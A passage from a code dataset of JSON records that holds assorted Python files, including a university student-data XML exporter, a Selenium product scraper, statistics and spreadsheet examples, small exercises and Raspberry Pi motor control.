self.fs.undervisning.list_undervisningenheter(sem=semester))\n for u in undenh:\n u_attr = {}\n for k in ('institusjonsnr', 'emnekode', 'versjonskode',\n 'terminnr', 'terminkode', 'arstall'):\n u_attr[k] = u[k]\n student_cols, student = self._ext_cols(\n self.fs.undervisning.list_studenter_underv_enhet(**u_attr))\n for s in student:\n s_attr = u_attr.copy()\n for k in ('fodselsdato', 'personnr'):\n s_attr[k] = s[k]\n f.write(xml.xmlify_dbrow({}, (), 'student',\n extra_attr=s_attr) + \"\\n\")\n f.write(\"</data>\\n\")\n f.close()\n\n def write_fnrupdate_info(self, fnr_update_file):\n \"\"\"Lager fil med informasjon om alle fødselsnummerendringer\"\"\"\n logger.info(\"Writing fnrupdate info to '%s'\", fnr_update_file)\n stream = AtomicStreamRecoder(fnr_update_file, mode='w',\n encoding=XML_ENCODING)\n writer = xmlprinter.xmlprinter(stream,\n indent_level=2,\n data_mode=True)\n writer.startDocument(encoding=XML_ENCODING)\n\n db = Factory.get(\"Database\")()\n const = Factory.get(\"Constants\")(db)\n\n writer.startElement(\"data\",\n {\"source_system\": six.text_type(const.system_fs)})\n\n data = self.fs.person.list_fnr_endringer()\n for row in data:\n # Make the format resemble the corresponding FS output as close as\n # possible.\n attributes = {\n \"type\": six.text_type(const.externalid_fodselsnr),\n \"new\": \"%06d%05d\" % (row[\"fodselsdato_naverende\"],\n row[\"personnr_naverende\"]),\n \"old\": \"%06d%05d\" % (row[\"fodselsdato_tidligere\"],\n row[\"personnr_tidligere\"]),\n \"date\": six.text_type(row[\"dato_foretatt\"]),\n }\n writer.emptyElement(\"external_id\", attributes)\n\n writer.endElement(\"data\")\n writer.endDocument()\n stream.close()\n\n def write_misc_info(self, misc_file, tag, func_name):\n \"\"\"Lager fil med data fra gitt funksjon i access_FS\"\"\"\n logger.info(\"Writing misc info to '%s'\", misc_file)\n f = SimilarSizeWriter(misc_file, mode='w', encoding=XML_ENCODING)\n f.max_pct_change = 50\n f.write(xml.xml_hdr + \"<data>\\n\")\n func = reduce(\n lambda obj, attr: getattr(obj, attr),\n func_name.split('.'), self.fs)\n cols, dta = self._ext_cols(func())\n for t in dta:\n self.fix_float(t)\n f.write(xml.xmlify_dbrow(t, xml.conv_colnames(cols), tag) + \"\\n\")\n f.write(\"</data>\\n\")\n f.close()\n\n def write_topic_info(self, topics_file):\n \"\"\"Lager fil med informasjon om alle XXX\"\"\"\n # TODO: Denne filen blir endret med det nye opplegget :-(\n logger.info(\"Writing topic info to '%s'\", topics_file)\n f = SimilarSizeWriter(topics_file, mode='w',\n encoding=XML_ENCODING)\n f.max_pct_change = 50\n f.write(xml.xml_hdr + \"<data>\\n\")\n cols, topics = self._ext_cols(self.fs.student.list_eksamensmeldinger())\n for t in topics:\n # The Oracle driver thinks the result of a union of ints is float\n self.fix_float(t)\n f.write(\n xml.xmlify_dbrow(t, xml.conv_colnames(cols), 'topic') + \"\\n\")\n f.write(\"</data>\\n\")\n f.close()\n\n def write_forkurs_info(self, pre_course_file):\n from mx.DateTime import now\n logger.info(\"Writing pre-course file to '%s'\", pre_course_file)\n f = SimilarSizeWriter(pre_course_file, mode='w',\n encoding=XML_ENCODING)\n f.max_pct_change = 50\n cols, course_attendants = self._ext_cols(self.fs.forkurs.list())\n f.write(xml.xml_hdr + \"<data>\\n\")\n for a in course_attendants:\n f.write(\n '<regkort fodselsdato=\"{}\" personnr=\"{}\" dato_endring=\"{}\" '\n 'dato_opprettet=\"{}\"/>\\n'.format(a['fodselsdato'],\n a['personnr'],\n str(now()),\n str(now())))\n f.write('<emnestud fodselsdato=\"{}\" personnr=\"{}\" etternavn=\"{}\" '\n 'fornavn=\"{}\" adrlin2_semadr=\"\" postnr_semadr=\"\" '\n 'adrlin3_semadr=\"\" adrlin2_hjemsted=\"\" postnr_hjemsted=\"\" '\n 'adrlin3_hjemsted=\"\" sprakkode_malform=\"NYNORSK\" '\n 'kjonn=\"X\" studentnr_tildelt=\"{}\" personlopenr=\"{}\" '\n 'emnekode=\"FORGLU\" '\n 'versjonskode=\"1\" terminkode=\"VÅR\" arstall=\"2016\" '\n 'telefonlandnr_mobil=\"{}\" telefonnr_mobil=\"{}\"/>\\n'.format(\n a['fodselsdato'],\n a['personnr'],\n a['etternavn'],\n a['fornavn'],\n a['studentnr_tildelt'],\n a['personlopenr'],\n a['telefonlandnr'],\n a['telefonnr']\n ))\n f.write(\"</data>\\n\")\n f.close()\n\n def write_edu_info(self, edu_file):\n \"\"\"Lager en fil med undervisningsinformasjonen til alle studenter.\n\n For hver student, lister vi opp alle tilknytningene til undenh, undakt,\n evu, kursakt og kull.\n\n Hovedproblemet i denne metoden er at vi må bygge en enorm dict med all\n undervisningsinformasjon. Denne dicten bruker mye minne.\n\n Advarsel: vi gjør ingen konsistenssjekk på at undervisningselementer\n nevnt i outfile vil faktisk finnes i andre filer genererert av dette\n skriptet. Mao. det er fullt mulig at en student S er registrert ved\n undakt U1, samtidig som U1 ikke er nevnt i undervisningsaktiveter.xml.\n\n fs.undervisning.list_studenter_alle_kull() <- kull deltagelse\n fs.undervisning.list_studenter_alle_undenh() <- undenh deltagelse\n fs.undervisning.list_studenter_alle_undakt() <- undakt deltagelse\n fs.evu.list_studenter_alle_kursakt() <- kursakt deltagelse\n fs.evu.list() <- evu deltagelse\n \"\"\"\n logger.info(\"Writing edu info to '%s'\", edu_file)\n f = SimilarSizeWriter(edu_file, mode='w', encoding=XML_ENCODING)\n f.max_pct_change = 50\n f.write(xml.xml_hdr + \"<data>\\n\")\n\n for triple in (\n (\"kull\", None,\n self.fs.undervisning.list_studenter_alle_kull),\n (\"undenh\", None,\n self.fs.undervisning.list_studenter_alle_undenh),\n (\"undakt\", None,\n self.fs.undervisning.list_studenter_alle_undakt),\n (\"evu\", (\"fodselsdato\",\n \"personnr\",\n \"etterutdkurskode\",\n \"kurstidsangivelsekode\"),\n self.fs.evu.list),\n (\"kursakt\", None, self.fs.evu.list_studenter_alle_kursakt)):\n kind, fields, selector = triple\n logger.debug(\"Processing %s entries\", kind)\n for row in selector():\n if fields is None:\n tmp_row = row\n keys = row.keys()\n else:\n tmp_row = dict((f, row[f]) for f in fields)\n keys = fields\n\n f.write(xml.xmlify_dbrow(tmp_row, keys, kind) + '\\n')\n\n f.write(\"</data>\\n\")\n f.close()\n\n def write_regkort_info(self, regkort_file):\n \"\"\"Lager fil med informasjon om semesterregistreringer for\n inneværende semester\"\"\"\n logger.info(\"Writing regkort info to '%s'\", regkort_file)\n f = SimilarSizeWriter(regkort_file, mode='w',\n encoding=XML_ENCODING)\n f.max_pct_change = 50\n f.write(xml.xml_hdr + \"<data>\\n\")\n cols, regkort = self._ext_cols(self.fs.student.list_semreg())\n for r in regkort:\n f.write(\n xml.xmlify_dbrow(r, xml.conv_colnames(cols), 'regkort') + \"\\n\")\n f.write(\"</data>\\n\")\n f.close()\n\n def write_betalt_papir_info(self, betalt_papir_file):\n \"\"\"Lager fil med informasjon om alle som enten har fritak fra å\n betale kopiavgift eller har betalt kopiavgiften\"\"\"\n\n logger.info(\"Writing betaltpapir info to '%s'\", betalt_papir_file)\n f = SimilarSizeWriter(betalt_papir_file, mode='w',\n encoding=XML_ENCODING)\n f.max_pct_change = 50\n f.write(xml.xml_hdr + \"<data>\\n\")\n cols, dta = self._ext_cols(\n self.fs.betaling.list_kopiavgift_data(\n kun_fritak=False, semreg=True))\n for t in dta:\n self.fix_float(t)\n f.write(\n xml.xmlify_dbrow(t, xml.conv_colnames(cols), 'betalt') + \"\\n\")\n f.write(\"</data>\\n\")\n f.close()\n\n @staticmethod\n def fix_float(row):\n for n in range(len(row)):\n if isinstance(row[n], float):\n row[n] = int(row[n])\n\n\ndef set_filepath(datadir, filename):\n \"\"\"Return the string of path to a file. If the given file path is\n relative, the datadir is used as a prefix, otherwise only the file\n path is returned.\n \"\"\"\n if os.path.isabs(filename):\n return filename\n return os.path.join(datadir, filename)\n\n\nclass AtomicStreamRecoder(AtomicFileWriter):\n \"\"\" file writer encoding hack.\n\n xmlprinter.xmlprinter encodes data in the desired encoding before writing\n to the stream, and AtomicFileWriter *requires* unicode-objects to be\n written.\n\n This hack turns AtomicFileWriter into a bytestring writer. Just make sure\n the AtomicStreamRecoder is configured to use the same encoding as the\n xmlprinter.\n\n The *proper* fix would be to retire the xmlprinter module, and replace it\n with something better.\n \"\"\"\n\n def write(self, data):\n if isinstance(data, bytes) and self.encoding:\n # will be re-encoded in the same encoding by 'write'\n data = data.decode(self.encoding)\n return super(AtomicStreamRecoder, self).write(data)\n","repo_name":"unioslo/cerebrum","sub_path":"Cerebrum/modules/fs/import_from_FS.py","file_name":"import_from_FS.py","file_ext":"py","file_size_in_byte":20150,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"78"} +{"seq_id":"34267035039","text":"from ML.networks import MuZeroNet\nimport ray\nimport torch\n\n\n@ray.remote(num_cpus=0, num_gpus=0)\nclass CPUActor:\n # Trick to force DataParallel to stay on CPU to get weights on CPU even if there is a GPU\n def __init__(self):\n pass\n\n def get_initial_weights(self, config, word_dictionary):\n model = MuZeroNet(config, word_dictionary)\n if config.load_dynamic_weights:\n print(f\"Loading dynamic weights from {config.dynamics_weight_path}\")\n checkpoint = torch.load(config.dynamics_weight_path, map_location=\"cpu\")\n dynamic_dict = model._dynamics.state_dict()\n pretrained_dict = {\n k[10:]: v\n for k, v in checkpoint[\"weights\"].items()\n if k.find(\"_dynamics\") > -1\n }\n model._dynamics.load_state_dict(pretrained_dict)\n weights = model.get_weights()\n summary = str(model).replace(\"\\n\", \" \\n\\n\")\n return weights, summary\n","repo_name":"Morgan-Griffiths/wordle","sub_path":"ray_files/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"71320173052","text":"import chiFrequencyTable as freq\nfrom tabulate import tabulate\ndef chiSquaredTest(filename, digits):\n intervals = []\n for i in range(10):\n intervals.append(round(0.1*i + 0.1, 1))\n\n observed = freq.getChiFrequencyTable(digits, filename, 10, 0.1, 0, 1)\n expected = sum(observed.values()) / 10\n\n test_value = 16.9190\n\n category_results = {}\n for category, number in zip(observed.keys(), observed.values()):\n category_results[category] = round(((number - expected) ** 2) / expected, digits)\n results = []\n\n for category, result, observed, interval in zip(category_results.keys(), category_results.values(), observed.values(), intervals):\n results.append([interval, observed, expected, result])\n\n print()\n print(\"Chi squared test:\")\n print(tabulate(results, headers=[\"Intervals\", \"Observed\", \"Expected\", \"(O - E)^2 / E\"]))\n chi_squared = round(sum(category_results.values()), digits)\n print()\n print(\"Chi squared:\", chi_squared)\n print()\n print('H0: Appereance of the numbers is random')\n print('H1: Appereance of the numbers is not random')\n if chi_squared < test_value:\n print(\"Since\", chi_squared, \"<\", test_value, \"H0 is not rejected \")\n else:\n print(\"Since\", chi_squared, \" >\", test_value, \"H0 is rejected \")","repo_name":"Josekeitor/SimulationProject","sub_path":"proyecto-1/chiSquaredTest.py","file_name":"chiSquaredTest.py","file_ext":"py","file_size_in_byte":1304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"37665409013","text":"from openpyxl import Workbook\nfrom openpyxl.utils.cell import coordinate_from_string\nfrom random import randint\nwb = Workbook()\nws = wb.active\n\n# 1줄씩 데이터 넣기\nws.append([\"번호\", \"영어\", \"수학\"])\nfor i in range(1, 11):\n ws.append([i, randint(0,100), randint(0,100)])\n\ncol_B = ws[\"B\"] # 영어(B column)만 가지고 오기\nfor cell in col_B:\n print(cell.value)\n \ncol_range = ws[\"B:C\"] # 영어:수학\nprint(col_range)\nfor col in col_range:\n for cell in col:\n print(cell.value)\n\nrow_title = ws[1] # 1번쨰 row만 가지고 오기\nfor cell in row_title:\n print(cell.value)\n \nrow_range = ws[2:6] # 2,3,4,5,6 row (6포함)\nfor row in row_range:\n for cell in row:\n # coordinate로 좌표 get\n print(f\"{cell.coordinate} {cell.value}\", end=\" \")\n xy = coordinate_from_string(cell.coordinate) # 좌표를 튜플로 나눠줌\n print(xy)\n print()\n \n\nrows = tuple(ws.rows) # row를 묶어서\ncols = tuple(ws.columns) # col을 묶어서\n# print(cols)\n\n# 1~5 row & 2~3 col 범위에서 row를 반복\nfor row in ws.iter_rows(min_row=1, max_row=5, min_col=2, max_col=3):\n print(row[1].value)\n\nwb.save(\"sample.xlsx\")","repo_name":"intae-choi1/practice04","sub_path":"1_excel/5_cell_range.py","file_name":"5_cell_range.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"272152041","text":"\"\"\"\nThis tests the functionality in autoPyTorch/utils/common.\n\"\"\"\nfrom enum import Enum\n\nimport pytest\n\nfrom autoPyTorch.utils.common import autoPyTorchEnum\n\n\nclass SubEnum(autoPyTorchEnum):\n x = \"x\"\n y = \"y\"\n\n\nclass DummyEnum(Enum): # You need to move it on top\n x = \"x\"\n\n\n@pytest.mark.parametrize('iter',\n ([SubEnum.x],\n [\"x\"],\n {SubEnum.x: \"hello\"},\n {'x': 'hello'},\n SubEnum,\n [\"x\", \"y\"]))\ndef test_autopytorch_enum(iter):\n \"\"\"\n This test ensures that a subclass of `autoPyTorchEnum`\n can be used with strings.\n\n Args:\n iter (Iterable):\n iterable to check for compaitbility\n \"\"\"\n\n e = SubEnum.x\n\n assert e in iter\n\n\n@pytest.mark.parametrize('iter',\n [[SubEnum.y],\n [\"y\"],\n {SubEnum.y: \"hello\"},\n {'y': 'hello'}])\ndef test_autopytorch_enum_false(iter):\n \"\"\"\n This test ensures that a subclass of `autoPyTorchEnum`\n can be used with strings.\n Args:\n iter (Iterable):\n iterable to check for compaitbility\n \"\"\"\n\n e = SubEnum.x\n\n assert e not in iter\n\n\n@pytest.mark.parametrize('others', (1, 2.0, SubEnum, DummyEnum.x))\ndef test_raise_errors_autopytorch_enum(others):\n \"\"\"\n This test ensures that a subclass of `autoPyTorchEnum`\n raises error properly.\n Args:\n others (Any):\n Variable to compare with SubEnum.\n \"\"\"\n\n with pytest.raises(RuntimeError):\n SubEnum.x == others\n","repo_name":"automl/Auto-PyTorch","sub_path":"test/test_utils/test_common.py","file_name":"test_common.py","file_ext":"py","file_size_in_byte":1650,"program_lang":"python","lang":"en","doc_type":"code","stars":2173,"dataset":"github-code","pt":"78"} +{"seq_id":"8993772254","text":"# 다나와 사이트에서 노트북 정보 가져오기\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nimport time\n\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nfrom selenium.common.exceptions import TimeoutException\nfrom selenium.webdriver.support.ui import WebDriverWait\n\n# 파싱 라이브러리\nfrom bs4 import BeautifulSoup\n\n# 엑셀 저장\nimport openpyxl\n# 이미지를 저장\nimport requests\nfrom io import BytesIO\n\n# excel 기본 작업\nworkbook = openpyxl.Workbook()\nsheet1 = workbook.active\nsheet1.column_dimensions['A'].width = 52\nsheet1.column_dimensions['B'].width = 18\nsheet1.column_dimensions['C'].width = 10\nsheet1.append(['제품명','가격','이미지'])\n\noptions = webdriver.ChromeOptions()\n# 브라우저 안 띄우기\n# options.add_argument(\"headless\")\n# 그래픽 카드 사용 안하기\noptions.add_argument(\"disable-gpu\")\n# 브라우저 크기 지정\noptions.add_argument(\"window-size=1920,1080\")\n# user-agent 지정\noptions.add_argument(\n \"User-Agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36\"\n)\n\ndriver = webdriver.Chrome(\"d:/webdriver/chromedriver.exe\", options=options)\n\n# 크롬 브라우저 내부 대기\ndriver.implicitly_wait(3)\ndriver.get(\"http://prod.danawa.com/list/?cate=112758\")\n\n# 테스트 코드\n# print(driver.title)\nassert \"Danawa.com\" in driver.title\n\n# 현재 페이지\ncur_page = 1\n# 크롤링 페이지 수\ntarget_crawl_num = 6\n\ntry:\n\n # 제조사별 더 보기 클릭\n # //*[@id=\"dlMaker_simple\"]/dd/div[2]/button[1]\n WebDriverWait(driver, 3).until(\n EC.presence_of_element_located(\n (By.XPATH, \"//*[@id='dlMaker_simple']/dd/div[2]/button[1]\")\n )\n ).click()\n\n # 제조사에서 apple 클릭하기\n # //*[@id=\"selectMaker_simple_priceCompare_A\"]/li[13]\n WebDriverWait(driver, 3).until(\n EC.presence_of_element_located(\n (By.XPATH, \"//*[@id='selectMaker_simple_priceCompare_A']/li[13]\")\n )\n ).click()\n\n time.sleep(2)\n \n # 엑셀 행 수 지정\n ins_cnt = 1\n\n # 제품 목록 확인하기\n while cur_page <= target_crawl_num:\n soup = BeautifulSoup(driver.page_source, \"html.parser\")\n # print(soup.prettify())\n\n # 실제 제품 리스트 목록 가져오기\n product_list = soup.select(\n \"div.main_prodlist.main_prodlist_list > ul > li\"\n )\n # print(product_list[0])\n\n # 현재 페이지 출력\n print(\"***** current page ***** {}\".format(cur_page))\n\n for item in product_list:\n if not item.find(\"div\", class_=\"ad_header\"):\n # 상품명\n prod_name = item.select(\"p.prod_name > a\")[0].text.strip()\n # 가격\n prod_price = item.select(\"p.price_sect > a\")[0].text.strip()\n # 제품이미지\n img = item.select(\"a.thumb_link > img\")[0]\n if img.get(\"data-original\"):\n url = img[\"data-original\"]\n else:\n url = img[\"src\"]\n \n # 이미지 다운로드 하기\n res = requests.get(url)\n prod_img = BytesIO(res.content)\n\n # 수집된 정보를 엑셀에 저장\n sheet1.append([prod_name, prod_price])\n # 이미지 저장\n img = openpyxl.drawing.image.Image(prod_img)\n img.width = 30\n img.height = 20\n sheet1.add_image(img, \"C\"+str(ins_cnt+1))\n \n ins_cnt += 1\n\n # 엑셀 저장\n workbook.save(\"./resorces/danawa_product.xlsx\")\n\n # 현재 페이지 번호 변경\n cur_page += 1\n\n if cur_page > target_crawl_num:\n print(\"crawling 성공\")\n break\n\n # 다음 페이지 번호 클릭하기\n element = WebDriverWait(driver, 2).until(\n EC.presence_of_element_located(\n (\n By.CSS_SELECTOR,\n \"div.number_wrap > a:nth-child({})\".format(cur_page),\n )\n )\n )\n element.click()\n\n # soup 인스턴스 삭제\n del soup\n time.sleep(3)\n\nexcept Exception as e:\n print(e)\n\n\ntime.sleep(3)\ndriver.quit()\n","repo_name":"TrellixVulnTeam/python_QO1A","sub_path":"pythoncrawl/selenium/danawa_product2.py","file_name":"danawa_product2.py","file_ext":"py","file_size_in_byte":4416,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"15571882054","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Feb 17 15:12:46 2022\r\n\r\n@author: 26902\r\n\"\"\"\r\n\r\n\r\nimport turtle\r\nwn = turtle.Screen()\r\njune = turtle.Turtle()\r\n\r\nfor _ in range(5):\r\n june.color(\"green\", \"yellow\")\r\n june.forward(50)\r\n june.speed(1)\r\n june.right(72)\r\nwn.exitonclick()","repo_name":"holly222-coder/programming_python","sub_path":"drawing_pentagon.py","file_name":"drawing_pentagon.py","file_ext":"py","file_size_in_byte":289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"43918053080","text":"import numpy as np\nimport pandas as pd\nimport scipy.cluster.hierarchy as shc\nfrom matplotlib import pyplot as plt\nfrom sklearn.cluster import AgglomerativeClustering\n\ncustomer_data = pd.read_csv('shopping_data.csv')\nprint(customer_data.shape)\ndt = np.array(customer_data)\n# print(dt[0:10,:])\nprint(customer_data.head())\nprint(customer_data.iloc[0:10, 0:5].values)\n\ndata = customer_data.iloc[0:15, 3:5].values\nprint('--Linkage Matrix-only 10 rows------')\nlink = shc.linkage(data, method='ward')\nprint(link[0:10, ])\nplt.figure(figsize=(6, 4))\nplt.title(\"Customer Dendograms\")\ndend = shc.dendrogram(shc.linkage(data, method='ward'))\n\ncluster = AgglomerativeClustering(n_clusters=5, affinity='euclidean', linkage='ward')\nclt = cluster.fit_predict(data)\nprint('--Clusters formed by program-----')\nprint(cluster.fit_predict(data))\nplt.figure(figsize=(6, 4))\nplt.scatter(data[:, 0], data[:, 1], c=cluster.labels_, cmap='rainbow')\n\nplt.show()\n","repo_name":"narayansiddharth/Python","sub_path":"AIMA/Module3/3and4Nov/CustomerHCl.py","file_name":"CustomerHCl.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"31953479151","text":"# problem : https://www.acmicpc.net/problem/18111\r\n# keyword : 구현\r\n# return : 땅 고르기 작업에 걸리는 최소 시간과 땅의 높이 출력\r\n\r\n\"\"\"\r\n1. 문제\r\n- 땅 고르기 작업 = 땅 높이 일정하게 만들기\r\n- 블록 제거 : (i, j) 맨 위 블록 빼서 인벤토리에 저장 -> 2초 소요\r\n- 블록 추가 : 인벤토리에서 블록 꺼내서 (i, j) 위치에 추가 -> 1초 소요\r\n\r\n2. 입력 및 제한\r\n- 세로 n, 가로 m, 저장된 블럭 b개\r\n- 0 <= 땅의 높이 <= 256\r\n\r\n3. 경우의 수\r\n- 추가하는 경우\r\n- 인벤토리에 부족한 경우\r\n- 제거하는 경우\r\n\r\n4. 수정 전 로직\r\n(1) 가장 높은 높이(max)와 가장 낮은 높이(min) 파악\r\n(2) base = range(min, max+1)\r\n(3) base에 높이 맞추기\r\n(4) 땅 하나하나 탐색하기\r\n(4-1) base랑 같으면, 넘어가기\r\n(4-2) base보다 작으면, 블럭 추가(1초) -> 부족하면 아예 넘어가기\r\n(4-3) base보다 크면, 블럭 제거(2초)\r\n(5) 최솟값 업데이트\r\n\r\n5. 로직 약점\r\n- (1)번 : 시간이 꽤 소요되므로 생략 -> base = range(257)\r\n- (4-1)번 : 없어도 됨 -> 생략\r\n- (4-2)번 : 인벤토리에 블럭이 없어도 다른 칸에서 블럭을 가져다 쓸 수 있음 -> 탐색 끝까지 한 후에 인벤토리 체크\r\n\r\n6. 수정 후 로직\r\n(1) base = range(257)\r\n(2) base에 높이 맞추기\r\n(3) 땅 하나하나 탐색하기\r\n(3-1) base보다 작으면, 블럭 추가(1초)\r\n(3-2) base보다 크면, 블럭 제거(2초)\r\n(4) 탐색 후 (필요한 블럭 수 >= 가용 가능��� 블럭 수) 인 경우만 시간 계산\r\n(5) 최솟값 업데이트\r\n\"\"\"\r\n\r\n# 수정 전 로직\r\ndef match_base_wrong(base):\r\n # 인벤토리 초기화\r\n global b\r\n inventory = b\r\n put_b, remove_b = 0, 0\r\n for i in range(n):\r\n for j in range(m):\r\n cur = ground[i][j]\r\n # (4-1)\r\n if (cur == base):\r\n continue\r\n # (4-2)\r\n if (cur < base):\r\n # 인벤토리 없는 경우 작업 중지\r\n if inventory < (base-cur):\r\n return -1\r\n inventory -= (base-cur)\r\n put_b += (base-cur)\r\n # (4-3)\r\n else:\r\n inventory += (cur-base)\r\n remove_b += (cur-base)\r\n \r\n return put_b + (2 * remove_b)\r\n\r\n# 수정 후 로직\r\ndef match_base(base):\r\n global b\r\n put_b, remove_b = 0, 0\r\n # (3) 땅 하나하나 탐색하기\r\n for i in range(n):\r\n for j in range(m):\r\n cur = ground[i][j]\r\n # (3-1) base보다 작으면, 블럭 추가\r\n if cur < base:\r\n put_b += (base-cur)\r\n # (3-2) base보다 크면, 블럭 제거\r\n else:\r\n remove_b += (cur-base)\r\n # (4) 탐색 후 블럭 비교\r\n if put_b > remove_b + b:\r\n return -1\r\n return put_b + (2 * remove_b)\r\n\r\n\r\nimport sys\r\ninput = sys.stdin.readline\r\n# 입력 값 받기\r\nglobal b\r\nn, m, b = map(int, input().rstrip().split())\r\nground = []\r\nfor _ in range(n):\r\n ground.append(list(map(int, input().split())))\r\n\r\nmin_tm = sys.maxsize\r\nmin_tm_h = sys.maxsize\r\n# (1) base = range(257)\r\nfor base in range(257):\r\n # (2) base에 높이 맞추기\r\n base_tm = match_base(base)\r\n # (5) 최솟값 업데이트\r\n if 0 <= base_tm <= min_tm:\r\n min_tm = base_tm\r\n min_tm_h = base\r\n\r\nprint(min_tm, min_tm_h)\r\n\r\n\"\"\"\r\n테스트 케이스\r\n\r\n3 4 99\r\n0 0 0 0\r\n0 0 0 0\r\n0 0 0 1\r\n\r\n3 4 1\r\n64 64 64 64\r\n64 64 64 64\r\n64 64 64 63\r\n\r\n3 4 0\r\n64 64 64 64\r\n64 64 64 64\r\n64 64 64 63\r\n\r\n3 3 0\r\n0 1 1\r\n1 1 1\r\n1 1 2\r\n\"\"\"","repo_name":"hanna-joo/Self_Coding","sub_path":"python/08_etc/implement_230725_b18111.py","file_name":"implement_230725_b18111.py","file_ext":"py","file_size_in_byte":3633,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"16128938139","text":"from datetime import*\nprint(\"Bun venit!Scrie data ta de nastere si eu o sa-ti ghicesc zodia!\")\nanul=int(input(\"In ce an esti nascut?\"))\nluna=int(input(\"in ce luna esti nascut\"))\nziua=int(input(\"in ce zi esti nascut?\"))\ns_start=date(2004,3,21)\ns_end=date(2004,4,19)\ndata=date(anul,luna,ziua)\nif s_start <= data <= s_end:\n print(\"esti Berbec!\")\ns_start=date(2004,4,20)\ns_end=date(2004,5,20)\ndata=date(anul,luna,ziua)\nif s_start <= data <= s_end:\n print(\"esti Taur!\")\ns_start=date(2004,5,21)\ns_end=date(2004,6,20)\ndata=date(anul,luna,ziua)\nif s_start <= data <= s_end:\n print(\"esti Gemeni!\")\ns_start=date(2004,6,21)\ns_end=date(2004,7,22)\ndata=date(anul,luna,ziua)\nif s_start <= data <= s_end:\n print(\"esti Rac!\")\ns_start=date(2004,7,23)\ns_end=date(2004,8,22)\ndata=date(anul,luna,ziua)\nif s_start <= data <= s_end:\n print(\"esti Leu!\")\ns_start=date(2004,8,23)\ns_end=date(2004,9,22)\ndata=date(anul,luna,ziua)\nif s_start <= data <= s_end:\n print(\"esti Fecioara!\")\ns_start=date(2004,9,23)\ns_end=date(2004,10,22)\ndata=date(anul,luna,ziua)\nif s_start <= data <= s_end:\n print(\"esti Balanta!\")\ns_start=date(2004,10,23)\ns_end=date(2004,11,21)\ndata=date(anul,luna,ziua)\nif s_start <= data <= s_end:\n print(\"esti Scorpion!\")\ns_start=date(2004,11,22)\ns_end=date(2004,12,21)\ndata=date(anul,luna,ziua)\nif s_start <= data <= s_end:\n print(\"esti Sagetator!\")\ns_start=date(2004,12,22)\ns_end=date(2004,1,19)\ndata=date(anul,luna,ziua)\nif s_start <= data <= s_end:\n print(\"esti Capricorn!\")\ns_start=date(2004,1,20)\ns_end=date(2004,2,18)\ndata=date(anul,luna,ziua)\nif s_start <= data <= s_end:\n print(\"esti Varsator!\")\ns_start=date(2004,2,19)\ns_end=date(2004,3,20)\ndata=date(anul,luna,ziua)\nif s_start <= data <= s_end:\n print(\"esti Pesti!\")\n\n\n\n\n\n\n\n\n","repo_name":"Mihaa06/zodiac","sub_path":"rgrr.py","file_name":"rgrr.py","file_ext":"py","file_size_in_byte":1761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"13607049563","text":"import RPi.GPIO as GPIO\nimport time\nfrom manette import Manette\nfrom servo_sg90 import Sg90\n\n# define the pins connected to L293D\n\ndebug = True\nMotor1A = 24\nMotor1B = 23\nMotor1E = 25\nservo = Sg90(80, 17)\nmanette = Manette(0)\n\n\ndef setup():\n global p\n servo.PI_PORT.start(0)\n servo.servo_write(servo.SERVO_DEFAULT_POS)\n GPIO.setmode(GPIO.BCM)\n GPIO.setup(Motor1A, GPIO.OUT) # set pins to OUTPUT mode\n GPIO.setup(Motor1B, GPIO.OUT)\n GPIO.setup(Motor1E, GPIO.OUT)\n\n\n# mapNUM function: map the value from a range of mapping to another range.\ndef mapNUM(value, fromLow, fromHigh, toLow, toHigh):\n return (toHigh - toLow) * (value - fromLow) / (fromHigh - fromLow) + toLow\n\n\n# motor function: determine the direction and speed of the motor according to the input ADC value input\ndef motor(direction, trig_pos):\n tpos = 0\n\n if 0.3 > trig_pos > 0:\n tpos = 0\n elif -0.3 < trig_pos < 0:\n tpos = 0\n else:\n tpos = trig_pos\n\n value = (round(tpos * 100))\n\n print(value)\n\n if direction == \"forward\" and value > 0:\n GPIO.output(Motor1A, GPIO.HIGH)\n GPIO.output(Motor1B, GPIO.LOW)\n GPIO.output(Motor1E, GPIO.HIGH)\n print('Turn Forward...')\n\n elif direction == \"backward\" and value > 0:\n GPIO.output(Motor1A, GPIO.LOW)\n GPIO.output(Motor1B, GPIO.HIGH)\n GPIO.output(Motor1E, GPIO.HIGH)\n print('Turn Backward...')\n\n elif value == 0:\n GPIO.output(Motor1E, GPIO.LOW)\n print('Motor Stop...')\n\n else:\n GPIO.output(Motor1E, GPIO.LOW)\n print('Motor Stop...')\n\n\ndef change_direction(current_direction):\n if current_direction == \"forward\":\n return \"backward\"\n else:\n return \"forward\"\n\n\ndef log(ly_pos, servo_current_pos, target, direction, acceleration):\n if debug:\n print(\"ly pos: {0} - servo pos: {1} - target : {2}\"\n .format(ly_pos, servo_current_pos, target))\n\n # print(\"direction : {0} acceleration : {1}\".format(direction, acceleration))\n\n\ndef loop():\n while True:\n manette.controler.button_trigger_r.when_released = manette.on_button_trigger_r_released\n manette.controler.trigger_r.when_moved = manette.on_trigger_rt_moved\n direction = manette.direction\n acceleration = manette.trig_rt_pos\n\n motor(direction, acceleration)\n\n manette.controler.axis_l.when_moved = manette.on_axis_l_moved\n target_pos = servo.current_pos + round(manette.ly_pos)\n\n 